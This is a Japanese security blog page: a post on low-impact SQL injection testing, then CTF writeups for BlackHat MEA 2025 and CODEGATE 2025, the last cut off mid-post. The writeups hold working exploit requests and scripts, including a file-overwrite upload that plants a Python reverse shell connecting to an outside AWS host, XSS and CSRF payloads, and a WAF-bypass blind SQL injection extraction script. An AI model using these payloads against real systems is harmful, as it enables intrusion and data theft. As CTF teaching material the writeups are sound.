よーでんのブログ

One for All,All for わんわんお!

SQL Injectionを安全に検証するために

この記事は RWPL Advent Calender 2025 の2日目の記事です。
昨日はl3ickeyによる「RWPL誕生秘話」でした。明日はtak💀Yassanさんが書いてくれるようです。

さて、今回は「SQL Injectionを安全に検証するために」というテーマです。
みなさんはブラックボックスでSQL Injectionを検証するとき、どのようなペイロードを使っていますか?

とりあえず最初はシンプルに ' の方もいるかもですね。
CTFやHtBなどをよくやっている方は ' or 1=1;-- でしょうか?

自分がよく使うのは test'and'a'='a や test'and'a'='b 、te' 'st などです。

今回は「SQL Injectionが可能であるか」の安全な検証方法に焦点を合わせて手法を紹介し、そこから発展した攻撃に繋げるまでに考えていることを紹介します。
入門したばかりで ' or 1=1;-- しか知らない方はもちろん、雰囲気でSQL Injectionを検証している方にも届いて欲しいと思います。

危険なSQL Injection

「 ' or 1=1;-- は危険」という主張をたまに目にします。SQL Injectionで一番最初に習うのはこの形だと思いますが、何が良くないのでしょうか。
ユーザ検索の機能をもとに、実際のSQL文を見ながら考えていきましょう。

SELECT id, name, email FROM users WHERE id = '${input_id}';

ここに ' or 1=1;-- を入れてみます。

SELECT id, name, email FROM users WHERE id = '' or 1=1;-- ';

これで全てのユーザが取得可能ですね。一番基本的な形のSQL Injectionです。

では、ユーザのメールアドレスを更新する機能を考えてみましょう。(他ユーザのIDを指定して情報更新可能な認可制御の不備がありそうなコードですが、本題とは関係がないため無視します。)

UPDATE users SET email = '${input_email}' WHERE id = '${input_id}';

ここで、IDの方に ' or 1=1;-- を入れてみます。

UPDATE users SET email = 'example@test.local' WHERE id = '' or 1=1;-- ';

これで全てのユーザのメールアドレスが更新されてしまいます。こんな事態になってしまったら変な汗をかきそうですね。

「参照系でしか ' or 1=1;-- は使わない」なんていう方もいると思いますが、ブラックボックスでは裏で更新系の処理が動いてる可能性を否定しきれません。参照操作によって最終閲覧日の更新や操作ログの保存などが行われるサービスは多数あると思いますし、そういった箇所において意図しないレコードを上書きしてしまう危険性があります。

では、どうすれば影響を抑えつつSQL Injectionの検証をすることができるでしょうか。自分はANDや文字列結合を推しています。
まずはANDを見ていきます。先ほどの更新処理にtest' and 1=1;-- を挿入してみましょう。

UPDATE users SET email = 'example@test.local' WHERE id = 'test' and 1=1;-- ';

1=1 は常に true になるので、ここでは id = 'test' が true であるデータのみが更新されます。test の部分に適宜自分のIDを指定しておくことで、自分のデータのみを更新する検証が可能です。

上記が成功した時点でSQL Injectionが成功したと言えますが、SQL文が評価されていることの証明として test' and 1=2;-- も便利です。

UPDATE users SET email = 'example@test.local' WHERE id = 'test' and 1=2;-- ';

1=2 は常に false になります。where 区全体が true になることはあり得ないので、どのレコードも更新されません。
これらの挙動の差異を持ってSQL Injectionが成功していると判断できます。

また、文字列結合も便利です。te' 'st'-- を挿入した場合を考えてみましょう。MySQLにおいて、文字列リテラル同士の間にスペースを入れると文字列結合の演算子となります。

UPDATE users SET email = 'example@test.local' WHERE id = 'te' 'st';-- ';

SQL Injectionが成功していれば id = 'test' が成り立つデータが更新されるため、これ一つでも検証を行うことが可能です。

対象アプリケーションで利用されているDBMSに従って文字列結合の方法は変わるため、適宜使い分けましょう。

コメントアウトを使いたい理由・使わない理由

ここまで、コメントアウトを利用してきました。
SQL Injectionにおいて、コメントアウトは時に絶大な威力を発揮します。
ユーザ検索機能を元に考えてみましょう。先ほどの例に加えて、admin権限を持っているユーザを表示しない条件を追加しています。

SELECT id, name, email FROM users WHERE id = '${input_id}' and is_admin = false; 

ここでIDに admin';-- を挿入した場合を考えてみます。

SELECT id, name, email FROM users WHERE id = 'admin';-- ' and is_admin = false; 

is_admin の条件を無視し、idのみにおいて検索が可能になります。もしこれがログイン機能だったら、パスワードの比較などを全てコメントアウトしてログインが可能なこともあります。
このように挿入箇所以降に追加される条件やさまざまな記述を無視できるという強みがあります。
逆に言えば、挿入箇所以降の条件を無視してしまうことでまた別の事故につながる恐れもありますね。

ただ、現実にはもっと複雑なSQL文が存在しており、単純にコメントアウトするのみではうまく動かないことも多いです。
とはいってもここで極端に複雑な例を出しても仕方がないので、最小限の例を見てみます。たとえば、先ほどの例に括弧を追加してみましょう。

SELECT id, name, email FROM users WHERE (id = '${input_id}');

ここでIDに admin';-- を挿入した場合はどうなるでしょうか。

SELECT id, name, email FROM users WHERE (id = 'admin';-- ');

( に対応した ) がコメントアウトされてしまったため、これは構文エラーになります。この場合であれば admin');-- で正しく構文を終了できますが、挿入箇所が引数の中などの場合はどうでしょうか。

SELECT SUBSTRING((SELECT name FROM users WHERE (id = '${input_id}')), 1, 2);

構文を正しく成り立たせるためには、 admin')),1,2);-- のような入力値が必要です。このようなパターンをブラックボックスで検証するのは困難です。
さらに言えばJOINなどで特定の値を追加していないと正常動作しないアプリケーションなどもあるかもしれません。

ということで、コメントアウトに頼らないSQL Injectionを検討する必要があります。

SELECT id, name, email FROM users WHERE (id = '${input_id}') and is_admin = false;

まずは構文を崩さずにSQL Injectionが可能であるかを検証するために、 admin' and 'a'='a を入力してみます。
admin' のシングルクォートによって構文を壊して文字列リテラルの外にでた分、末尾を 'a とすることで元の文字列リテラルに回帰しています。

SELECT id, name, email FROM users WHERE (id = 'admin' and 'a'='a') and is_admin = false;

また、ad' 'min を入力して文字列結合させることも可能です。

SELECT id, name, email FROM users WHERE (id = 'ad' 'min') and is_admin = false;

これらであればエラーは発生しませんが、 is_admin の条件を無視できないため本来やりたかったことができていません。

ただし、括弧の数などが不明でコメントアウトが使えない場合においても、構文さえ正しければ SELECT などはある程度挿入可能です。
te'|(select sleep(3))|'st を入力すると3秒待機することが確認できます。

SELECT id, name, email FROM users WHERE (id = 'te'|(select sleep(3))|'st') and is_admin = false;

SELECT文が挿入できるのであれば、各種リークテクニックが使えますね。
DBMSが何か、エラーが出力されるか否か、DNS解決を発行できるか・・・など色々な状況によって使えるテクニックは変わってくるので、これらも状況によって使い分けましょう。

  • エラー出力を利用
  • DNS解決を利用
  • エラーやsleepを利用した Blind SQL Injection

リークしたい情報

どうにかしてリーク手法を確立した後は、実際にどんな情報が取れるかを考えましょう。

information_schema はお決まりですね。他テーブルの情報を取るにあたって、テーブル名・カラム名をリークすることができます。
そこでリークした情報を元に、ユーザ情報などの機密情報を窃取することが可能です。

また、現在のクエリを取得することも重要です。MySQLであれば下記の形で取れたりします。これもDBMS次第で(以下省略)

SELECT SQL_TEXT FROM performance_schema.events_statements_current;

SQL文全体を取得できた場合、先ほど諦めたコメントアウトを含めた色々な手法が可能になってきます。 UNION SELECTした際に結果が閲覧できるのであれば、いちいちリークするまでもなくSQLの実行結果を確認できるでしょう。

さいごに

ANDや文字列結合を使う理由・コメントアウトを使わない理由について紹介しました。
これらにより意図しない全件更新などの事故を予防しつつ脆弱性の有無を確認し、もっと発展した攻撃に繋げることが可能です。

また、実際のSQL文は今回の例よりも遥かに複雑なことが多く、挿入箇所も文字列リテラル内とは限りません。数値パラメータ、ORDER BY句、LIMIT句など、さまざまなパターンが存在します。それぞれの状況に応じて適切なペイロードを考え、安全かつ確実に検証できる方法を模索してみましょう。

BlackHat MEA Qualification CTF 2025 Writeup

日曜19時開始だと仕事とガッツリ被ってしまいしんどい。
flag共有など無法地帯になっていましたが、せっかく真面目に解いたのでwriteupを書きました。

Hash Factory

まさかのDockerfileのみ配布。 Dockerfile内でcatしてPythonファイルなどを作成していて「なるほど」となった。

本質的なのは大体下記の部分で、md5を改行区切りで記載したファイルを投げるとcrackしてくれる君らしい。

@app.route('/', methods=["GET", "POST"])
def index():
    hash_file = request.files.get('hash_file')

...

    hash_file.save(path := hashes / hash_file.filename)
    crack_results = check_output(["/app/crack", path], text=True)
    path.unlink()
    for line in open(sys.argv[1], 'r', encoding="utf-8"):
        line = line.strip()

        # we only crack hashes here 
        if len(line) != len(md5('')):
            continue

        hashes += 1
        cracked = i = 0
        for hash in map(md5, map(str, range(1338))):
            if line == hash:
                print(f'{line}:{i}')
                cracked = 1; hashes_cracked += 1; break
            i += 1
        if not cracked:
            print(f'{line}:-')
    print(f"\ncracked {hashes_cracked}/{hashes}")

hash_file.saveの部分でトラバーサルしたい気分になったので適当にやってみたら、ファイルの上書きができた。

POST / HTTP/1.1
Host: 10.4.50.175:5001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Pbr9S15pYdPGUei

------WebKitFormBoundary2Pbr9S15pYdPGUei
Content-Disposition: form-data; name="hash_file"; filename="../crack"
Content-Type: application/octet-stream

test
------WebKitFormBoundary2Pbr9S15pYdPGUei--
$ cat crack
test

ということでcrackの内容をいい感じに書き換えることでRCEが可能。
リバースシェルを張って環境変数を見てみたらflagがあった。

------WebKitFormBoundary2gR3VAb4c6u4bJ2A
Content-Disposition: form-data; name="hash_file"; filename="/app/crack"
Content-Type: application/octet-stream

#!/app/.venv/bin/python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ec2-3-112-172-87.ap-northeast-1.compute.amazonaws.com",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

------WebKitFormBoundary2gR3VAb4c6u4bJ2A--

Go brrr

adminでログインできるとflagがもらえるらしい。 jsonでパースして、usernameとpasswordがある場合にのみ認証サービスにリクエストを投げる。

@app.route('/user', methods=['POST'])
def user_handler():
    data = request.get_json() or None
    if data is None or not "username" in data or not "password" in data:
        return "Invalid data format (not a valid JSON schema)", 400
    check = requests.post(auth_service_url, json=data).text
    if check == '"Authorized"':
        session['is_admin'] = True
        return "Authorized"
    else:
        return "Not Authorized", 403
    

@app.route('/admin', methods=['GET'])
def admin_panel():
    if session.get('is_admin'):
        flag = os.getenv('DYN_FLAG', 'BHFlagY{dummy_flag_for_testing}')
        return "Welcome to the admin panel! Here is the flag: " + flag

認証してadminになればflagが手に入りそうだとわかる。

認証サービスはGoで書かれていて、下記の流れで認証している。

  1. xml.Unmarshal
  2. xmlが失敗した場合、json.Unmarshal
  3. パース結果の IsAdmin が true な場合のみ認証成功
   if err := xml.Unmarshal(body, &user); err != nil {
        w.Header().Set("x-xmllog", fmt.Sprint(user))
        if err := json.Unmarshal(body, &user); err != nil {
            http.Error(w, "Invalid data format (not XML or JSON)", http.StatusBadRequest)
            return
        }
    }

    w.Header().Set("Content-Type", "application/json")
    if user.IsAdmin {
        w.Write([]byte(`"Authorized"`))
    } else {
        w.Write([]byte(`"Not Authorized"`))
    }

ここまで読んで、Pythonで正規のjsonとして扱われかつGoでXMLとしてパースされるパターンが想像つく。

{
  "username":"<User><username>test</username><password>test</password></User>",
  "password":"test"
}

パースする際の構造体は下記。

type User struct {
    Username string `json:"username" xml:"username"`
    Password string `json:"password" xml:"password"`
    IsAdmin  bool   `json:"-"  xml:"-,omitempty"`
}

IsAdmin をtrue にしたいのだが、フィールド名が - になっておりtrueにさせるのは難しそうに思える。 ただ xml:"-,omitempty"という書き方は一般的でないので、- がタグとして扱われないかな、と考える。

ところが、下記はシンタックスエラーになることがわかった。

<User><->true</-></User>

色々試した結果、 < の後に - が続くとダメらしい。
どうしようかなと思っていたらチームメイトがネームスペースを利用したら解けることに気づいてくれた。

<User><ns:->true</ns:-></User>

下記jsonを投げるとadminのCookieが発行されるので、それでflagゲット。

{"username":"<User><ns:->true</ns:-></User>", "password":"test"}

cute_csp

問題名からCSPバイパスかなぁと後回しにしていた。

cute_csp - TOP

まずはindex.php

<?php
header("Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline; img-src *;");
@print($_GET["html"] ?? show_source(__FILE__));

Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline; img-src *; となっているが、とりあえずぱっと見でstyle-srcのクォートが閉じてないことに気づく。
これで style-src は無視されるので、スタイル関連には default-src である 'none'が採用される。(厳しくなるのかーい)

$_GET["html"] があるので、HTMLインジェクションは簡単そう。

admin botを呼び出すためのreport.phpを見る。

<?php
const URL_PREFIX =  "http://localhost:5000/index.php";

echo "<pre>";

$url = $_REQUEST['url'] ?? null;
if (isset($url) && str_starts_with($url, URL_PREFIX)) {
    $start_time = microtime(true);

    $url = escapeshellarg($url);
    system("python3 bot.py " . $url);

    echo "[xssbot] total request time: " . (microtime(true) - $start_time) . " seconds";

URL_PREFIX ( /index.php )で始まる場合のみ、pythonでbotが動くらしい。botの中身を見る。

BASE_URL = "http://localhost:5000"
ADMIN_TOKEN = os.getenv("ADMIN_TOKEN")
URL_PREFIX = "http://localhost:5000/index.php"

# makeshift lockfile, not safe against deliberate race conditions
LOCKFILE = Path("bot.lock")


async def visit(url: str):
    if LOCKFILE.exists():
        print("[xssbot] ongoing visit detected, cancelling...")
        exit(1)

    if not url.startswith(URL_PREFIX):
        print("[xssbot] invalid URL format")
        exit(1)

    try:
        Path(LOCKFILE).touch()
        print("[xssbot] visiting url")
        p = await async_playwright().start()

        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()

        await context.add_cookies(
            [
                {
                    "name": "token",
                    "value": ADMIN_TOKEN,
                    "domain": "localhost",
                    "httpOnly": True,
                    "path": "/",
                }
            ]
        )

        page = await context.new_page()

        await page.goto(url)
        await page.wait_for_load_state("networkidle")
        await page.wait_for_timeout(1_000)
        content = await page.evaluate("() => document.documentElement.innerHTML")
        print("-" * 32)
        print(content)
        print("-" * 32)

ここでも URL_PREFIX ( /index.php )をみて正しければアクセス、その結果をprintする。試しに /report.php?url=http://localhost:5000/index.php で呼び出してみたらこうなった。

/report.php?url=http://localhost:5000/index.php

そう、report.phpにはCSPの設定がないので、スタイルが反映される。
「え、じゃあ /report.php?url=http://localhost:5000/index.php?html=<img%20src%20onerror=alert(1)> でXSSできるじゃん」と思うが、URL_PREFIX をみているため /report.php を報告することはできない。

ただ、この URL_PREFIX の検証は /index.php/../report.php のようにしてあげるだけで回避できる。
ということで /index.php/../report.php?url=http://localhost:5000/index.php?html=<img%20src%20onerror=alert(1)> を報告しておわりかと思いきや、さっきのpythonファイル中にrace condition対策のlockがあった。これではreportでreportを呼び出すことができない。残念。

# makeshift lockfile, not safe against deliberate race conditions
LOCKFILE = Path("bot.lock")


async def visit(url: str):
    if LOCKFILE.exists():
        print("[xssbot] ongoing visit detected, cancelling...")
        exit(1)

admin.php を確認する。

<?php
error_reporting(E_ALL ^ E_WARNING);

const URL_PREFIX =  "http://localhost:5000/admin.php";
const ISO3166_COUNTRY_NAMES = ['Aruba' => 'AW', 'Afghanistan' => 'AF',(snip...), 'FLAG' => 'FL'];
$ADMIN_TOKEN = getenv('ADMIN_TOKEN');

$admin_token = $_COOKIE['token'] ?? null;

if ($_SERVER['REMOTE_ADDR'] <> '127.0.0.1' && (!isset($admin_token) || strcmp($admin_token, $ADMIN_TOKEN) <> 0)) {
    echo "[!] Oops! Invalid admin token";
    die(1);
}

switch ($_SERVER['REQUEST_METHOD']) {
    case 'GET':
        simulate_transactions();
        break;

    case 'POST':
        process_transactions();
        break;
}

IPアドレスとadmin_tokenのチェックにより、admin bot経由でしか呼び出せなそう。
以降の検証では一旦コメントアウトしておく。

GETとPOSTで動作が変わるらしいので、それぞれの挙動を見ていく。まずはsimulate_transactions

<? ...
function simulate_transactions()
{
...
    $buy = true;
    foreach ($_GET['transactions'] as $key => $tx) {
        if (!isset($tx['amount']) || !isset($tx['country'])) {
            echo "[!] Missing amount or country in transaction #$key" . PHP_EOL;
            return;
        }

        $amount = $tx['amount'];
        $country = $tx['country'];

        // validate the two fields
        if (!is_numeric($amount) || !array_key_exists($country, ISO3166_COUNTRY_NAMES)) {
            echo "[!] Invalid transaction amount or country in transaction #$key" . PHP_EOL;
            return;
        }

        $currency = ISO3166_COUNTRY_NAMES[$country];
        printf("- amount: %d\n  currency: %s\n  op: %s\n", intval($amount), $currency, $buy ? "BUY" : "SELL");

        // you cant keep buying, gotta switch it up, its no free economy in here...
        $buy = !$buy;
    }
}

色々書いてあるが、amountとcountryを受け取ってトランザクションのyamlを発行してくれる君という認識だけすればOK。
/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Aruba で発行すると下記。

- amount: 1
  currency: AW
  op: BUY
- amount: 1
  currency: AW
  op: SELL

次は process_transactions を見る

<? ...
function process_transactions()
{
    $url = $_REQUEST['url'] ?? null;

    if (!isset($url) || !str_starts_with($url, URL_PREFIX)) {
        echo "[!] Invalid simulation url: " . $url;
        return;
    }

    // TODO: We really need to support real exchange rates some day, it does not seem fair in its current
    // format. on the bright side, at least we are treating everybody equally :)
    $exchange_rates = [];
    foreach (ISO3166_COUNTRY_NAMES as $country => $currency) {
        $exchange_rates[$currency] = 1;
    }

    $exchange_rates['FL'] = 1_000_000;
    $balance = 1;

    echo "<pre>" . PHP_EOL;

    echo '11111' . PHP_EOL;
    echo "fgc" . file_get_contents($url) . PHP_EOL;
    echo '22222' . PHP_EOL;
    echo "url" . $url . PHP_EOL;
    echo '33333' . PHP_EOL;
    $txs = @yaml_parse_url($url);
    if ($txs === false || !is_array($txs)) {
        echo "[!] Failed to parse transactions from url";
        return;
    }

    $currency_inventory = [];

    echo "Transactions Processing Sheet\n--------------------------" . PHP_EOL;
    foreach ($txs as $i => $tx) {
        if (!is_array($tx)) {
            echo "[!] Transaction #{$i} must be an object";
            return;
        }

        if (!array_key_exists('amount', $tx) || !array_key_exists('currency', $tx) || !array_key_exists('op', $tx)) {
            echo "[!] Transaction #{$i} must include 'amount' and 'currency'";
            return;
        }

        $op = $tx['op'];
        $amount = $tx['amount'];
        $currency = $tx['currency'];

        if (!is_int($amount) || $amount <= 0) {
            echo "[!] Transaction #{$i} amount must be a positive integer";
            return;
        }

        if ($op <> 'BUY' && $op <> 'SELL') {
            echo "[!] Transaction #{$i} op must be either BUY or SELL";
            return;
        }

        if (!isset($currency_inventory[$currency])) {
            $currency_inventory[$currency] = 0;
        }

        $currency_rate = $exchange_rates[$currency];
        $value = $amount * intval($currency_rate);

        if ($op == 'BUY') {
            // do we have enough balance to cover this buy?
            if ($balance - $value >= 0) {
                $balance -= $value;
                $currency_inventory[$currency] += $amount;
            } else {
                echo "[!] Transaction #{$i} insufficient balance to BUY {$amount} {$currency}. "
                    . "Cost: {$value}, Balance: {$balance}";
                return;
            }
        } elseif ($op == 'SELL') {
            // do we have enough currency to sell?
            if ($currency_inventory[$currency] >= $amount) {
                $balance += $value ? $value : $amount;
                $currency_inventory[$currency] -= $amount;
            } else {
                echo "[!] Transaction #{$i} cannot SELL {$amount} {$currency}; "
                    . "inventory is {$currency_inventory[$currency]}";
                return;
            }
        } else {
            echo "[!] Transaction #{$i} op must be either BUY or SELL";
            return;
        }

        printf("%s %2dx %s (Rate: %.1f) = %3d\n", $op == 'BUY' ? '-' : '+', $amount, $currency, $currency_rate, $value);
    }

    foreach ($currency_inventory as $cur => $qty) {
        printf("Final Inventory %-5s : %s\n", $cur, $cur === 'FL' ? getenv('DYN_FLAG') : $qty);
    }

色々書いてあるが、大体やってることは以下。

  1. 受け取ったURLがURL_PREFIX ( /admin.php )から始まるかチェック
  2. 各国通貨のレートを 1 に、FL(FLAG)を 1_000_000 にセット
  3. URLをGETして、yamlをパース
  4. パースしたトランザクションにしたがって処理

先ほどの/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Arubaを入れてみると下記。

<pre>
11111
fgc- amount: 1
  currency: AW
  op: BUY
- amount: 1
  currency: AW
  op: SELL

22222
urlhttp://localhost:5000/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Aruba
33333
Transactions Processing Sheet
--------------------------
-  1x AW (Rate: 1.0) =   1
+  1x AW (Rate: 1.0) =   1
Final Inventory AW    : 0

</pre>

AWを1買ってAWを1売る、といった処理がされる。
この結果としてFLを持っていればFLAGがもらえるが、FLは途方もなく高価なため順当には入手できない。 また、トランザクションの処理時は所持金および所持通貨のチェックをちゃんとやっていて、「-1個買う」や「所持金以上の個数買う」、「所持数以上の個数売る」などはできなそうだ。

またここで URL_PREFIX のバイパスが容易であることを思い出す。
/admin.php/../index.php?html=... で任意の文字列を発行できるので、適当にyamlを作ってみる。

- amount: 1
  currency: FL
  op: BUY

エンコードなど済ませた実際のリクエストはこんなかんじ。

url=http://localhost:5000/admin.php/../index.php?html=-%2520amount%253a%25201%250a%2520%2520currency%253a%2520FL%250a%2520%2520op%253a%2520BUY%250a
<pre>
11111
fgc- amount: 1
  currency: FL
  op: BUY

22222
urlhttp://localhost:5000/admin.php/../index.php?html=-%20amount%3a%201%0a%20%20currency%3a%20FL%0a%20%20op%3a%20BUY%0a
33333
Transactions Processing Sheet
--------------------------
[!] Transaction #0 insufficient balance to BUY 1 FL. Cost: 1000000, Balance: 1

とりあえず任意のyamlを読ませることはできていそうだ。
simulate_transactionsではできなかったものとして、「exchange_ratesに存在していない通貨のトランザクションの発行」が新しくできるようになったが、どうだろうか。

まずは購入だが、exchange_ratesが存在していなくても問題なく購入できる。

<?
...
        $currency_rate = $exchange_rates[$currency];
        $value = $amount * intval($currency_rate);

        if ($op == 'BUY') {
            // do we have enough balance to cover this buy?
            if ($balance - $value >= 0) {
                $balance -= $value;
                $currency_inventory[$currency] += $amount;
            } else {
                echo "[!] Transaction #{$i} insufficient balance to BUY {$amount} {$currency}. "
                    . "Cost: {$value}, Balance: {$balance}";
                return;
            }

ためしに適当なyamlを作ってみると、0円で何個でも購入できる。

- amount: 1000
  currency: test
  op: BUY
Transactions Processing Sheet
--------------------------
- 1000x test (Rate: 0.0) =   0
Final Inventory test  : 1000

そして売却だが、valueがfalseである場合にはamountを利用していることがわかる。
存在しない通貨を指定した場合に value の計算結果は 0 になるので、0円のものを売却するときになぜか個数分のお金が手元に入る。

<? 
        $currency_rate = $exchange_rates[$currency];
        $value = $amount * intval($currency_rate);
...
        } elseif ($op == 'SELL') {
            // do we have enough currency to sell?
            if ($currency_inventory[$currency] >= $amount) {
                $balance += $value ? $value : $amount;
                $currency_inventory[$currency] -= $amount;
            } else {
                echo "[!] Transaction #{$i} cannot SELL {$amount} {$currency}; "
                    . "inventory is {$currency_inventory[$currency]}";
                return;
            }

この挙動を利用して1000000個適当な通貨を買って同数売れば、FLを購入できる。
ということで、最終的なyaml

- amount: 1000000
  currency: test
  op: BUY
- amount: 1000000
  currency: test
  op: SELL
- amount: 1
  currency: FL
  op: BUY
Transactions Processing Sheet
--------------------------
- 1000000x test (Rate: 0.0) =   0
+ 1000000x test (Rate: 0.0) =   0
-  1x FL (Rate: 1000000.0) = 1000000
Final Inventory test  : 0
Final Inventory FL    : BHFlagY{this_is_a_flag}

リクエストはこう。

url=http://localhost:5000/admin.php/../index.php?html=-%2520amount%253a%25201000000%250a%2520%2520currency%253a%2520test%250a%2520%2520op%253a%2520BUY%250a-%2520amount%253a%25201000000%250a%2520%2520currency%253a%2520test%250a%2520%2520op%253a%2520SELL%250a-%2520amount%253a%25201%250a%2520%2520currency%253a%2520FL%250a%2520%2520op%253a%2520BUY%250a

さて、これでadmin botにPOSTさせることさえできればflagがもらえる。(((writeupを書いてる途中に気づいたが、存在しない通貨名でXSSができたのでそれでよかったかも。)))
これはmetaタグでリダイレクトした先からCSRFすればよかった。

<html>
  <body>
    <form action="http://localhost:5000/admin.php" method="POST">
      <input type="hidden" name="url" value="http&#58;&#47;&#47;localhost&#58;5000&#47;admin&#46;php&#47;&#46;&#46;&#47;index&#46;php&#63;html&#61;&#45;&#37;20amount&#58;&#37;201000000&#37;0A&#37;20&#37;20currency&#58;&#37;20test&#37;0A&#37;20&#37;20op&#58;&#37;20BUY&#37;0A&#45;&#37;20amount&#58;&#37;201000000&#37;0A&#37;20&#37;20currency&#58;&#37;20test&#37;0A&#37;20&#37;20op&#58;&#37;20SELL&#37;0A&#45;&#37;20amount&#58;&#37;201&#37;0A&#37;20&#37;20currency&#58;&#37;20FL&#37;0A&#37;20&#37;20op&#58;&#37;20BUY" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRFする罠ページを用意して、そこにリダイレクトさせるようにレポートしたらおわり。
/report.php?url=http://localhost:5000/index.php?html=%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url={url}%22%3E

KoKo WAF

登録とログインだけがあるシンプルなWebアプリ。
ソースを見るとusernameがwaf関数を通り抜けたらSQLiできることがわかる。

<?php

require_once("db.php");
require_once("waf.php");

session_start();

if(isset($_POST['login-submit']))
{
    if(!empty($_POST['username']) && !empty($_POST['password']))
    {
        $username= $_POST['username'];
        $password= sha1($_POST['password']);
        if(waf($username))
        {
            $error_message = "WAF Block - Invalid input detected";
        }
        else
        {
            $res = $conn->query("select * from users where username='$username' and password='$password'");
            if($res->num_rows ===1)
            {
                $_SESSION['username'] = $username;
                $_SESSION['logged_in'] = true;
                header("Location: profile.php");
                exit();
            }
            else
            {
                $error_message = "Invalid username or password";
            }

WAFの内容を見てみる。

<?php

$sqli_regex = [
    "/(['|\"])+/s",
    "/(&|\|)+/s",
    "/(or|and)+/is",
    "/(union|select|from)+/is",
    "/\/\*\*\//",
    "/\s/"
];
function waf($input)
{
    global $sqli_regex;
    foreach ($sqli_regex as $pattern) 
    {
        if(preg_match($pattern,$input))
        {
            return true;
        }
        else
        {
            continue;
        }
    }
}

いかにもバイパスできそうな正規表現だが、"/(['|\"])+/s"が割と厄介。
SQLは select * from users where username='$username' and password='$password') となっているので、シングルクォートが使えないと何もできない。

\を入れることでpassword側でSQLiするのかと思いきや、passwordはsha1されていて自由に入力ができない。

これは時間内に解けなかったが、結局ReDoSの方針でよかったらしい。(ReDoSの発想自体はあったが、正規表現がシンプルなので無理だと思っていた。ちゃんと試せばよかった。。。)

'を10000個程度送ってみると、検知されない。

import requests

data = {'username': "'"*10000, 'password': 'admin', 'login-submit': ''}
response = requests.post('http://localhost:5008/index.php', data=data)
print("blocked" if "WAF Block" in response.text else "bypassed")
$ python3 req.py
bypassed

あとはSQLiするだけ。flagはflagsテーブルにある。

CREATE TABLE IF NOT EXISTS `flags` (
  `id` varchar(32) NOT NULL,
  `flag` varchar(255) NOT NULL
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

/(['|\"])+/s は必須として、unionを大量におくことで /(union|select|from)+/is も無効化しておく。
/\s/はコメントアウトすればよくて、コメントアウトの/\/\*\*\//は/*a*/とかで雑にバイパスできる。

import requests
import string

f = "BHFlagY{"

while True: 
    for c in string.hexdigits + '}':
        print(f+c, end="\r")
        data = {
            'username': '"'*10000 + 'union'*10000 + "'UNION/*a*/SELECT/*a*/null,null,null,null,null,null/*a*/FROM/*a*/flags/*a*/WHERE/*a*/flag/*a*/LIKE/*a*/'" + f + c + "%';#",
            'password': 'a',
            'login-submit': ''
        }

        response = requests.post('http://localhost:5008/index.php', data=data)

        if "profile.php" in response.url:
            f += c
            print()
            if c == '}':
                exit(0)

実行するとflagが手に入る。

CODEGATE 2025 CTF Writeup

体調不良で出遅れて開いたらguess判定で放置されていたので、やっつけた。

Hide and Seek (web: 250 pt / 31 solves)

Play Hide-and-Seek with pretty button! ( + I don't know the internal web server's port exactly, but I heard it's "well-known". )

アクセスすると「Play」ボタンだけある。とりあえずPlay。

Hide and Seek - TOP

ボタンとかくれんぼするらしい。

Hide and Seek - Find the hidden Button

開発者ツールを開いてもよかったが、面倒だったのでTabキーを押して見たら何かある。

Hide and Seek - button

Enterを押してみるとクリックできた。
URLを入力するとアクセスしてくれるらしい。SSRFかな。

Hide and Seek - Congratulation! 🎉

とりあえず http://example.com を入力してみた。

POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
Content-Length: 29

{ "url":"http://example.com"}
HTTP/1.1 200 OK
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
content-type: application/json
Date: Sat, 29 Mar 2025 17:56:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 21

{"message":"Sended!"}

レスポンスは見れないタイプのSSRFらしい。
ここからが本番ということで、他のサービスがどんなものか確認しに行く。

docker-compose.yml

  external:
    build:
      context: ./external
    restart: always
    ports:
      - "3000:3000"
    networks:
      prob_network:
        ipv4_address: 192.168.200.100

  internal-server:
    build:
      context: ./internal/server
    restart: always
    depends_on:
      - internal-db
    networks:
      prob_network:
        ipv4_address: 192.168.200.120

  internal-db:
    build:
      context: ./internal/db
    restart: always
    networks:
      prob_network:
        ipv4_address: 192.168.200.130

サービスが3つあるらしい。
externalがさっきまで触っていたサービスで、internal-xxは直接アクセスできない。さっきのエンドポイントでSSRFしようという話だろう。

さて、ではinternal-serviceにどんなエンドポイントが待っているんだろうか。
internalフォルダの中身を確認してみよう。

$ ls internal
$

【ゾロ「......なにも!!! な゛かった...!!!!」の画像がここに入る】

internalに関しては完全ノーヒントでやらなければならないらしい。つらい。
試しに http://internal-server を入力してみると、エラーになった。

HTTP/1.1 403 Forbidden
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
content-type: application/json
Date: Sat, 29 Mar 2025 18:03:08 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 63

{"error":"This IP cannot be used yet. Please Try again later."}

/api/reset-game のエンドポイントはレートリミットがあるらしい。
(内部アプリguessなのにそんなことする・・・?)という気持ちで reset-game のソースを見に行く。

    const body = await req.json();

    const ip =
        req.headers.get("x-forwarded-for")?.split(",")[0]?.trim() ||
        "unknown";

    if (ip === "unknown") {
        return NextResponse.json({ error: "Unable to get client IP." }, { status: 400 });
    }

    if (blockedIPs.has(ip)) {
        return NextResponse.json({ error: "This IP cannot be used yet. Please Try again later." }, { status: 403 });
    }

    try {
        const response = await fetch(`${body.url}?date=${Date()}&message=Congratulation! you found button!`, {
            method: "GET",
            redirect: "manual",
        });

